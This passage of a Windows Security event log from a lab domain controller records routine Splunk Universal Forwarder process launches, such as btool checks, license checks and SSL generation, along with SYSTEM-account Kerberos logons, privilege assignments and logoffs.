-Process Information: - New Process ID: 0x11bc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1228 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" check --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252140 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x119c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1228 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" check-license - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252139 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x48c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1228 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" generate-ssl - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252138 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1228 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x113c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252137 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x113c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 2>&1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252136 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8a4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12c4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252135 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12c4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8dc - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252134 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8dc - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13a0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252171 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x151F96 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252170 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x151F96 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64608 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252169 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x151F96 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252168 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x151F35 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252167 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x151F35 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64607 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252166 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x151F35 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252165 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x151ECF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252164 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x151ECF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64606 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252163 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x151ECF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252162 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x151E6E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252161 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x151E6E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64605 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252160 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x151E6E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252159 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1310 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1228 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunkd" check-transforms-keys - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252158 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xd60 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-regex --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252157 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd60 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1228 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-regex --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252156 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1248 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1160 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-strptime --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 